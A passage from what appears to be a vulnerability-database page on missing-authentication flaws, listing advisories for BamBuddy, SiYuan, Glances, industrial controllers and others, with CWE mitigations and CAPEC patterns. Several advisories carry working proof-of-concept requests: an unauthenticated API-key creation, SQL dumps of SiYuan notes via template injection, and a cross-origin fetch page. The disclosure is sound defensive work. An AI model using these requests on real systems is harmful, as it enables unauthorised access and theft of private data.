/users/1/items-count\n - /groups\n - /groups/permissions\n - /groups/1\n - /printers/\n - /printers/usb-cameras\n - /printers/1\n - /printers/1/status\n - /printers/1/current-print-user\n - /printers/1/cover\n - /printers/1/files\n - /printers/1/storage\n - /printers/1/logging\n - /printers/1/slot-presets\n - /printers/1/slot-presets/1/1\n - /printers/1/print/objects\n - /printers/1/runtime-debug\n\nEndpoints that rejected both (20):\n - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)\n - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)\n - /archives/search (no_auth: 422, jwt: 422)\n - /archives/compare (no_auth: 422, jwt: 422)\n - /archives/1/source (no_auth: 404, jwt: 404)\n - /cloud/settings (no_auth: 401, jwt: 401)\n - /cloud/settings/1 (no_auth: 401, jwt: 401)\n - /cloud/devices (no_auth: 401, jwt: 401)\n - /cloud/firmware-updates (no_auth: 401, jwt: 401)\n - /queue/1 (no_auth: 404, jwt: 404)\n - /notifications/1 (no_auth: 404, jwt: 404)\n - /external-links/1 (no_auth: 404, jwt: 404)\n - /library/files/1 (no_auth: 404, jwt: 404)\n - /library/files/1/plates (no_auth: 404, jwt: 404)\n - /library/files/1/gcode (no_auth: 404, jwt: 404)\n - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)\n - /webhook/printer/1/status (no_auth: 401, jwt: 401)\n - /webhook/queue (no_auth: 401, jwt: 401)\n - /pending-uploads/1 (no_auth: 404, jwt: 404)\n - /metrics (no_auth: 401, jwt: 401)\n```\n\n\u003c/details\u003e\n\nWhile this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don\u0027t require many parameters, but other methods still appear vulnerable. I manually tested `POST /api/v1/api-keys/` and was able to create a new API key with all permissions without auth:\n```bash\ncurl \u0027http://10.0.0.4:8000/api/v1/api-keys/\u0027 -X POST -H \u0027Content-Type: application/json\u0027 --data-raw \u0027{\"name\":\"new key\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true}\u0027\n```\nyields\n```json\n{\"id\":7,\"name\":\"new key\",\"key_prefix\":\"bb_QW2su...\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true,\"printer_ids\":null,\"enabled\":true,\"last_used\":null,\"created_at\":\"2026-02-01T23:14:15\",\"expires_at\":null,\"key\":\"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w\"}\n```\n\n### Impact\nBamBuddy is vulnerable to unauthorized access and control",
"id": "GHSA-gc24-px2r-5qmf",
"modified": "2026-02-06T21:38:03Z",
"published": "2026-02-02T21:21:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25505"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/pull/225"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/maziggy/bambuddy"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/blob/main/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication"
}
GHSA-GC98-JRPR-JWQX
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:21The web application portal of the Cobham EXPLORER 710, firmware version 1.07, has no authentication by default. This could allow an unauthenticated, local attacker connected to the device to access the portal and to make any change to the device.
{
"affected": [],
"aliases": [
"CVE-2019-9529"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-10T20:15:00Z",
"severity": "MODERATE"
},
"details": "The web application portal of the Cobham EXPLORER 710, firmware version 1.07, has no authentication by default. This could allow an unauthenticated, local attacker connected to the device to access the portal and to make any change to the device.",
"id": "GHSA-gc98-jrpr-jwqx",
"modified": "2024-04-04T02:21:24Z",
"published": "2022-05-24T16:58:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9529"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/719689"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GCCQ-88R2-W9M4
Vulnerability from github – Published: 2025-02-14 00:30 – Updated: 2025-02-14 00:30The Dingtian DT-R0 Series is vulnerable to an exploit that allows attackers to bypass login requirements by directly navigating to the main page.
{
"affected": [],
"aliases": [
"CVE-2025-1283"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-13T22:15:11Z",
"severity": "CRITICAL"
},
"details": "The Dingtian DT-R0 Series is vulnerable to an exploit that allows \nattackers to bypass login requirements by directly navigating to the \nmain page.",
"id": "GHSA-gccq-88r2-w9m4",
"modified": "2025-02-14T00:30:44Z",
"published": "2025-02-14T00:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1283"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-18"
},
{
"type": "WEB",
"url": "https://www.dingtian-tech.com/en_us/aboutus.html?tab=contact_us"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GCGF-6QP7-HMMV
Vulnerability from github – Published: 2022-05-03 03:18 – Updated: 2022-05-03 03:18The telnet daemon (telnetd) in MIT krb5 before 1.6.1 allows remote attackers to bypass authentication and gain system access via a username beginning with a '-' character, a similar issue to CVE-2007-0882.
{
"affected": [],
"aliases": [
"CVE-2007-0956"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-04-06T01:19:00Z",
"severity": "HIGH"
},
"details": "The telnet daemon (telnetd) in MIT krb5 before 1.6.1 allows remote attackers to bypass authentication and gain system access via a username beginning with a \u0027-\u0027 character, a similar issue to CVE-2007-0882.",
"id": "GHSA-gcgf-6qp7-hmmv",
"modified": "2022-05-03T03:18:01Z",
"published": "2022-05-03T03:18:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0956"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/33414"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10046"
},
{
"type": "WEB",
"url": "http://lists.suse.com/archive/suse-security-announce/2007-Apr/0001.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24706"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24735"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24736"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24740"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24750"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24755"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24757"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24785"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24786"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24817"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200704-02.xml"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-102867-1"
},
{
"type": "WEB",
"url": "http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2007-001-telnetd.txt"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2007/dsa-1276"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/220816"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDKSA-2007:077"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2007-0095.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/464590/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/464666/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/464814/30/7170/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/23281"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1017848"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-449-1"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA07-093B.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/1218"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/1249"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GCJ2-7VC3-X83P
Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2022-05-24 16:46A CWE-284: Improper Access Control vulnerability exists in all versions of the Modicon M580, Modicon M340, Modicon Quantum, and Modicon Premium which could cause a remote code execution by overwriting configuration settings of the controller over Modbus.
{
"affected": [],
"aliases": [
"CVE-2019-6808"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-22T21:29:00Z",
"severity": "CRITICAL"
},
"details": "A CWE-284: Improper Access Control vulnerability exists in all versions of the Modicon M580, Modicon M340, Modicon Quantum, and Modicon Premium which could cause a remote code execution by overwriting configuration settings of the controller over Modbus.",
"id": "GHSA-gcj2-7vc3-x83p",
"modified": "2022-05-24T16:46:17Z",
"published": "2022-05-24T16:46:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6808"
},
{
"type": "WEB",
"url": "https://www.schneider-electric.com/en/download/document/SEVD-2019-134-11"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0771"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GCM7-57GF-953C
Vulnerability from github – Published: 2026-07-10 19:26 – Updated: 2026-07-10 19:26Summary
The /api/icon/getDynamicIcon endpoint is explicitly excluded from authentication in SiYuan's kernel router (router.go, "不需要鉴权" -- no auth needed). When called with type=8 and a valid block id parameter, this endpoint invokes RenderDynamicIconContentTemplate, which executes a Go template that includes the querySQL and queryBlocks functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.
Details
Root cause -- kernel/api/router.go, line 37:
// 不需要鉴权
ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)
Attack chain:
-
getDynamicIcon(kernel/api/icon.go) checkstype=8and callsmodel.RenderDynamicIconContentTemplate(content, id)whencontentcontains.action{. -
RenderDynamicIconContentTemplate(kernel/model/template.go:264) parsescontentas a Go template. The template function map includesquerySQLandqueryBlocksregistered viasql.SQLTemplateFuncs. -
querySQLcallsQuery(stmt, 1024)(kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes. -
The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.
Constraint: The block id parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format YYYYMMDDHHMMSS-XXXXXXX (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.
Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):
GET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+"SELECT+id,content+FROM+blocks+LIMIT+5"}&id=<KNOWN_BLOCK_ID>
Host: siyuan.example.com
(No Authorization header)
Response (SVG with exfiltrated data embedded):
<text ...>[map[id:20260524010447-jc9ypd4 content:test]
map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text>
The querySQL template function can query any table: blocks (all note content and metadata), spans (tags), assets (asset references), attributes (block attributes), and refs (backlinks).
PoC
TARGET="http://siyuan.example.com:6806"
BLOCK_ID="KNOWN_BLOCK_ID_HERE" # From a shared link or other source
# List all database tables
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}"
# Dump all note content
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}"
PoC script: /home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh
Impact
Any network-reachable SiYuan instance (Docker deployments default to 0.0.0.0:6806) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.
This vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The getDynamicIcon endpoint was never intended to execute SQL queries but gained this capability through the querySQL template function registered for the icon content template renderer.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54068"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:26:00Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `/api/icon/getDynamicIcon` endpoint is explicitly excluded from authentication in SiYuan\u0027s kernel router (`router.go`, \"\u4e0d\u9700\u8981\u9274\u6743\" -- no auth needed). When called with `type=8` and a valid block `id` parameter, this endpoint invokes `RenderDynamicIconContentTemplate`, which executes a Go template that includes the `querySQL` and `queryBlocks` functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.\n\n### Details\n\n**Root cause -- kernel/api/router.go, line 37:**\n\n```go\n// \u4e0d\u9700\u8981\u9274\u6743\nginServer.Handle(\"GET\", \"/api/icon/getDynamicIcon\", getDynamicIcon)\n```\n\n**Attack chain:**\n\n1. `getDynamicIcon` (kernel/api/icon.go) checks `type=8` and calls `model.RenderDynamicIconContentTemplate(content, id)` when `content` contains `.action{`.\n\n2. `RenderDynamicIconContentTemplate` (kernel/model/template.go:264) parses `content` as a Go template. The template function map includes `querySQL` and `queryBlocks` registered via `sql.SQLTemplateFuncs`.\n\n3. `querySQL` calls `Query(stmt, 1024)` (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes.\n\n4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.\n\n**Constraint:** The block `id` parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format `YYYYMMDDHHMMSS-XXXXXXX` (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.\n\n**Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):**\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=.action{querySQL+\"SELECT+id,content+FROM+blocks+LIMIT+5\"}\u0026id=\u003cKNOWN_BLOCK_ID\u003e\nHost: siyuan.example.com\n(No Authorization header)\n```\n\nResponse (SVG with exfiltrated data embedded):\n```xml\n\u003ctext ...\u003e[map[id:20260524010447-jc9ypd4 content:test]\n map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]\u003c/text\u003e\n```\n\nThe `querySQL` template function can query any table: `blocks` (all note content and metadata), `spans` (tags), `assets` (asset references), `attributes` (block attributes), and `refs` (backlinks).\n\n### PoC\n\n```bash\nTARGET=\"http://siyuan.example.com:6806\"\nBLOCK_ID=\"KNOWN_BLOCK_ID_HERE\" # From a shared link or other source\n\n# List all database tables\ncurl -s \"${TARGET}/api/icon/getDynamicIcon?type=8\u0026content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D\u0026id=${BLOCK_ID}\"\n\n# Dump all note content\ncurl -s \"${TARGET}/api/icon/getDynamicIcon?type=8\u0026content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D\u0026id=${BLOCK_ID}\"\n```\n\n**PoC script:** `/home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh`\n\n### Impact\n\nAny network-reachable SiYuan instance (Docker deployments default to `0.0.0.0:6806`) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.\n\nThis vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The `getDynamicIcon` endpoint was never intended to execute SQL queries but gained this capability through the `querySQL` template function registered for the icon content template renderer.",
"id": "GHSA-gcm7-57gf-953c",
"modified": "2026-07-10T19:26:00Z",
"published": "2026-07-10T19:26:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gcm7-57gf-953c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54068"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon"
}
GHSA-GF7H-GJP8-R79H
Vulnerability from github – Published: 2026-03-23 12:30 – Updated: 2026-03-23 12:30An unauthenticated credential disclosure vulnerability in the /goform/ate endpoint of Nexxt Solutions Nebula 300+ firmware through Nebula300+_v12.01.01.37 allows an adjacent attacker to obtain the administrator password in Base64-encoded form via a crafted HTTP request. The recovered credential can be used to authenticate to the device and facilitates further compromise when combined with other weaknesses present in the firmware.
{
"affected": [],
"aliases": [
"CVE-2026-31846"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-23T12:16:07Z",
"severity": "HIGH"
},
"details": "An unauthenticated credential disclosure vulnerability in the /goform/ate endpoint of Nexxt Solutions Nebula 300+ firmware through Nebula300+_v12.01.01.37 allows an adjacent attacker to obtain the administrator password in Base64-encoded form via a crafted HTTP request. The recovered credential can be used to authenticate to the device and facilitates further compromise when combined with other weaknesses present in the firmware.",
"id": "GHSA-gf7h-gjp8-r79h",
"modified": "2026-03-23T12:30:30Z",
"published": "2026-03-23T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31846"
},
{
"type": "WEB",
"url": "https://nexxt-connectivity-frontend.s3.amazonaws.com/media/docs/Nebula300+_v12.01.01.37.zip"
},
{
"type": "WEB",
"url": "https://www.nexxtsolutions.com/connectivity/internal-products/ARN02304U6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GFC2-9QMW-W7VH
Vulnerability from github – Published: 2026-04-21 15:14 – Updated: 2026-05-04 20:08Summary
The Glances web server exposes a REST API (/api/4/*) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (Access-Control-Allow-Origin: *).
This allows a malicious website to read sensitive system information from a running Glances instance in the victim’s browser, leading to cross-origin data exfiltration.
While a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (/api/4/*) is also affected and exposes significantly more sensitive data.
Details
When Glances is started in web mode (e.g., glances -w -B 0.0.0.0), it exposes a REST API endpoint at:
http://:61208/api/4/all
The server responds with:
Access-Control-Allow-Origin: *
This allows any origin to perform cross-origin requests and read responses.
The /api/4/all endpoint returns extensive system information, including:
- Process list (processlist)
- System details (hostname, OS, CPU info)
- Memory and disk usage
- Network interfaces and IP address
- Running services and metrics
Because no authentication is required by default, this data is accessible to any web page.
PoC
-
Start Glances: glances -w -B 0.0.0.0
-
Create a malicious HTML file:
<!DOCTYPE html>
<html>
<body>
<script>
fetch("http://<victim-ip>:61208/api/4/all")
.then(r => r.json())
.then(data => {
console.log("DATA:", data);
});
</script>
</body>
</html>
- Open the file in a browser while Glances is running.
- Observe that the browser successfully retrieves sensitive system information from the API. This works cross-origin (e.g., from file:// or attacker-controlled domains).
Impact
A remote attacker can host a malicious website that, when visited by a victim running Glances, can:
- Read sensitive system information
- Enumerate running processes
- Identify network configuration and IP addresses
- Fingerprint the host system
This requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34839"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T15:14:40Z",
"nvd_published_at": "2026-04-21T00:16:27Z",
"severity": "HIGH"
},
"details": "### Summary\nThe Glances web server exposes a REST API (`/api/4/*`) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (`Access-Control-Allow-Origin: *`).\n\nThis allows a malicious website to read sensitive system information from a running Glances instance in the victim\u2019s browser, leading to cross-origin data exfiltration.\n\nWhile a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (`/api/4/*`) is also affected and exposes significantly more sensitive data.\n\n### Details\nWhen Glances is started in web mode (e.g., `glances -w -B 0.0.0.0`), it exposes a REST API endpoint at:\nhttp://\u003chost\u003e:61208/api/4/all\nThe server responds with:\nAccess-Control-Allow-Origin: *\n\nThis allows any origin to perform cross-origin requests and read responses.\n\nThe `/api/4/all` endpoint returns extensive system information, including:\n- Process list (`processlist`)\n- System details (hostname, OS, CPU info)\n- Memory and disk usage\n- Network interfaces and IP address\n- Running services and metrics\nBecause no authentication is required by default, this data is accessible to any web page.\n\n### PoC\n1. Start Glances:\nglances -w -B 0.0.0.0\n\n2. Create a malicious HTML file:\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\"http://\u003cvictim-ip\u003e:61208/api/4/all\")\n .then(r =\u003e r.json())\n .then(data =\u003e {\n console.log(\"DATA:\", data);\n });\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n2. Open the file in a browser while Glances is running.\n3. Observe that the browser successfully retrieves sensitive system information from the API.\nThis works cross-origin (e.g., from file:// or attacker-controlled domains).\n\n### Impact\nA remote attacker can host a malicious website that, when visited by a victim running Glances, can:\n\n- Read sensitive system information\n- Enumerate running processes\n- Identify network configuration and IP addresses\n- Fingerprint the host system\n\nThis requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.",
"id": "GHSA-gfc2-9qmw-w7vh",
"modified": "2026-05-04T20:08:23Z",
"published": "2026-04-21T15:14:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-gfc2-9qmw-w7vh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34839"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/fdfb977b1d91b5e410bc06c4e19f8bedb0005ce9"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Glances: Cross-Origin Information Disclosure via Unauthenticated REST API (/api/4) due to Permissive CORS"
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.